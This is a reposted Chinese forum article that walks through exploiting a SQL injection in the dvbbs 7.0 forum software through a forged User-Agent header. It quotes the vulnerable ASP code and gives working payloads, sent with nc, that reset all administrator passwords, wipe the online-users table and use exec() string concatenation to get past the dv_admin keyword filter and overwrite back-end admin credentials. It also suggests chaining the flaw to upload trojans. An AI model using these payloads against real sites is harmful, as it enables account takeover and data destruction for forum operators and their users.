发新话题
打印

[转载]将dvbbs送进地狱user_agent注入

[转载]将dvbbs送进地狱user_agent注入

文章作者:firstsee
文章来源:情感联盟

前一段时间动网论坛的头像上传的漏洞给各大使用dvbbs论坛的网站带来难以愈合的创伤,这个漏洞甚至危及到了sp2的版本。为了解决这个问题,沙滩小子可能也耗尽了心血吧。但是动网论坛至此就真的安全了吗?回答是否定的,这不是在htt_user_agent变量上面有出现了漏洞吗,欲知详情,请听我慢慢道来。
漏洞文件:inc\dv_clsmain.asp
测试环境: dvbbs7.0.0+mssql
dvbbs7.0.0+sp1+mssql
dvbbs7.0.0+sp2+mssql
服务器os:windows 2000 advanced server
发现漏洞
n.e.v.e.r曾经发布了dvbbs6.x中关于http_user_agent变量过滤不严所造成的注入漏洞,我开始的时候以为这次在dvbbs7.0应该过滤了吧。但是在看过代码以后证明我的想法是错误的,只要经过巧妙的构造就可以实现对使用mssql数据库的论坛实现注入。还是让我们先来看一下出现漏洞的代码吧。
dvbbs7.0.0&dvbbs7.0.0+sp1中的inc\dv_clsmain.asp文件第1745-1755行为:
复制内容到剪贴板
代码:
agent=request.servervariables("http_user_agent")
agent=split(agent,";")
if instr(agent(1),"msie")>0 then
browser="microsoft internet explorer "
version=trim(left(replace(agent(1),"msie",""),6))
elseif instr(agent(4),"netscape")>0 then
browser="netscape "
dim tmpstr
tmpstr=split(agent(4),"/")
version=tmpstr(ubound(tmpstr))
end if
dvbbs7.0.0+sp2中的inc\dv_clsmain.asp文件第1919-1938行为:
agent=request.servervariables("http_user_agent")
'agent="opera/7.23 (x11; linux i686; u) [en]"
if left(agent,7) ="mozilla" then '有此标识为浏览器
agent=split(agent,";")
if instr(agent(1),"msie")>0 then
browser="microsoft internet explorer "
version=trim(left(replace(agent(1),"msie",""),6))
elseif instr(agent(4),"netscape")>0 then
browser="netscape "
tmpstr=split(agent(4),"/")
version=tmpstr(ubound(tmpstr))
elseif instr(agent(4),"rv:")>0 then
browser="mozilla "
tmpstr=split(agent(4),":")
version=tmpstr(ubound(tmpstr))
if instr(version,")") > 0 then
tmpstr=split(version,")")
version=tmpstr(0)
end if
end if
[NextPage]


这两段代码是在class cls_browser的一部分用来判断用户的浏览器类型及版本的。然而在这两段代码中都存在相同的问题,即当agent(4)的值中包含netscape时便不会经过任何过滤,直接将字符串的值返回给version变量,但是这能有什么作用呢?接着再往下看。
在这个文件中的useractiveonline函数中(三个版本的内容相同)的部分代码为:
复制内容到剪贴板
代码:
dim statuserid
statuserid = session(cachename & "userid")(0)
sql = "select id,boardid from [dv_online] where id = " & ccur(statuserid)
set rs = execute(sql)
if rs.eof and rs.bof then
if cint(forum_setting(36)) = 0 then
actcome = ""
else
actcome = address(uip)
end if
set browsertype=new cls_browser
sql = "insert into [dv_online](id,username,userclass,ip,startime,lastimebk,boardid,browser,stats,usergroupid,actcome,userhidden) values (" & statuserid & ",'客人','客人','" & usertrueip & "'," & sqlnowstring & "," & sqlnowstring & "," & boardid & ",'" & browsertype.platform&"|"&browsertype.browser&browsertype.version & "','" & replace(left(stats,250),"'","") & "',7,'" & actcome & "'," & userhidden & ")"
'更新缓存总在线数据
myboardonline.forum_online=myboardonline.forum_online+1
name="forum_online"
value=myboardonline.forum_online
set browsertype=nothing
else
sql = "update [dv_online] set lastimebk = " & sqlnowstring & ",boardid = " & boardid & ",stats = '" & replace(stats,"'","") & "' where id = " & ccur(statuserid)
end if
rs.close
set rs = nothing
execute(sql)
很显然从browsertype取得version的值以后也没有经过过滤就直接插入了sql变量的语句中调用execute函数执行数据库查询。在execute函数中有关语句过滤的代码为:
if instr(lcase(command),"dv_admin")>0 and left(scriptname,6)<> "admin_" then
response.write savesqllog(command,"")&#39;翻译成英文
command=replace(lcase(command),"dv_admin","dv<i>"&chr(95)&"</i>admin")
end if
看出来了吧,只要我们的语句中没有dv_admin关键字就可以顺利通过了。
虽然已经把思路打通了,但是由于动网论坛中的防刷新机制的存在给我们的漏洞利用带来的很大的困难。但还是有办法解决的,还是一步一步来看我是怎么测试利用这个漏洞的吧。
小试牛刀
以sp1中的dv_clsmain.asp文件为例,在activeonline函数中第687行的
复制内容到剪贴板
代码:
if datediff("s",reflashpagelasttime,now()) < 120 and lastvisiboardid = boardid then exit sub
是防刷新机制的关键语句,在初步测试的时候为了避免受到它的影响就先把它给注释掉。然后用wse对访问index.asp时的mime数据抓包,得到的数据为:
复制内容到剪贴板
代码:
get /index.asp http/1.1
accept: */*
accept-language: zh-cn
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; .net clr 1.1.4322)
host: [url]www.somesite.com[/url]
connection: keep-alive
cookie: dnetpubtemp=statuserid=2110913640; aspsessionidcqcbbscq=dmlbhjaajfofclflencdepgg
其中的user-agent的值便对应着代码中的request.servervariables("http_user_agent")的值,因此只要将user-agent构造为sql语句的话便可以实现对数据库的任意修改。
由于execute函数中过滤了dv_admin关键字,所以我们只好先修改前台管理员的密码了。将user-agent的值修改为
mozilla/4.0 (compatible;m;m;m;&#39;,&#39;hacker&#39;,7,&#39;&#39;,2) update dv_user set userpassword=&#39;123&#39; where usergroupid=1—netscape
然后用nc发送,如图所示


nc运行结束以后再去看数据库的时候发现所有的前台管理员密码已经被修改成123,与此同时在dv_online表中也记录一条id=2110913640的数据,正如我们所想的,它的browser=’unknown|netscape’, stats=’hacker’。由此可见,通过构造user-agent的值进行注入是完全可以实现的。
防刷新问题的解决
刚才为了测试方便把防刷新的关键语句给注释了,那现在就把它给改回来。这样的话我们就面临着非常棘手的问题,由于我们的访问程序会在dv_online表中记录相应的访问数据,而只要这条数据存在的话就不会执行我们要跳转到可以注入的语句。因此只好等20分钟之后由于其他的用户访问而调用myboardonline.onlinequery过程将超时用户访问记录(包括我们刚才的访问记录)删除之后才可以再次进行欺骗注入。否则的话只会让我们的访问最后时间更新为当前值,而对其它数据没有任何影响。
每两次欺骗注入之间的时间间隔要20分钟!那么如果要向数据库写入木马的话还不要等到头发也白了。您也许会说,我是拨号上网的,只要重新拨号不就行了吗?当然可以了,不过即使这样对于我们来说是一件很痛苦的事。为了解决这个棘手的问题我们可以在修改数据库的同时将dv_online表中的所有记录全部删除,这样不就可以进行连续注入了吗。调整以后的user-agent的值为:
复制内容到剪贴板
代码:
mozilla/4.0 (compatible;m;m;m;&#39;,&#39;hacker&#39;,7,&#39;&#39;,2) update dv_user set userpassword=&#39;123&#39; where usergroupid=1 delete from dv_online—netscape
不信你测试一下,不管你在注入前数据库内有多少的用户访问记录,只要能够成功的欺骗成功不仅会将所有的前台管理员密码进行修改,而且还会将所有的用户访问记录删除得干干净净。
哈哈,现在我们不就可以随心所欲了吗,只要你能想到的,只要数据库用户有足够的权限。等一等,如果用户没有足够的权限怎么办,就是修改了前台管理员的密码又能怎么样。难道对后台管理员就真的束手无策了吗?不要急,请接着看。
突破execute过滤,向后台进军
由于在execute函数中过滤了dv_admin关键字,因此在使用sql查询语句的时候要避免它的出现。但是我们也不能就此放弃对dv_admin表的注入,否则的话不就前功尽弃了嘛。后来在《sql injection white paper》的启发下,我使用exec函数成功地解决了这个问题。如果将user-agent的值修改为
复制内容到剪贴板
代码:
mozilla/4.0 (compatible;m;m;m;&#39;,&#39;hacker&#39;,7,&#39;&#39;,2) declare @a nvarchar(255) select @a=&#39;update dv_&#39;+&#39;admin set username=&#39;&#39;firstsee&#39;&#39;,password=&#39;&#39;123&#39;&#39;&#39; exec(@a)—netscape
就可以成功的把dv_admin中的所有记录的username的值修改为firstsee,而password的值修改为123。在这个构造值中把dv_admin关键字进行了拆分,然后通过字符串的连接功能又组合成了一个完整的查询语句,只要在exec函数中执行连接后的字符串就可以实现与直接查询相同的效果。
由于在mssql数据库中的exec函数的使用也受到一定的限制,因此也只有具备了这一权限的情况下才可以使用欺骗注入的方法进行后台管理员账号和密码的修改。
总结
您也许已经想到了,如果把前台管理员密码修改的语句与后台的修改语句放在一起,只需要进行一次注入就可以了,这样不就不用再去管什么防刷新了吗?
但是经过我的测试后发现,如果user-agent的值的长度过大就会失败。而且exec函数的使用也受到一定的限制,因此为了保证最大的成功率,将两句分开还是最佳的选择,即使后台管理员账号修改失败,前台管理员密码的修改也不会受到任何影响。
现在的动网论坛通过修改后台管理摄制的办法已经不能够再上传木马了,因此即使成功的得到了管理权限对服务企也只是望而兴叹,但如果能够结合我在黑防第6起上面发表的《把dvbbs拉下马》文章中的accesstopic.asp漏洞在具备了足够的权限下还是可以上传木马的。
由于这个漏洞涉及到的脚本内容比较多,利用起来也很费劲,所以我写了一个exploit,具体的使用方法见详细说明。
这篇文章由于时间仓促,难免出现纰漏。还望大家能够不吝指出。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题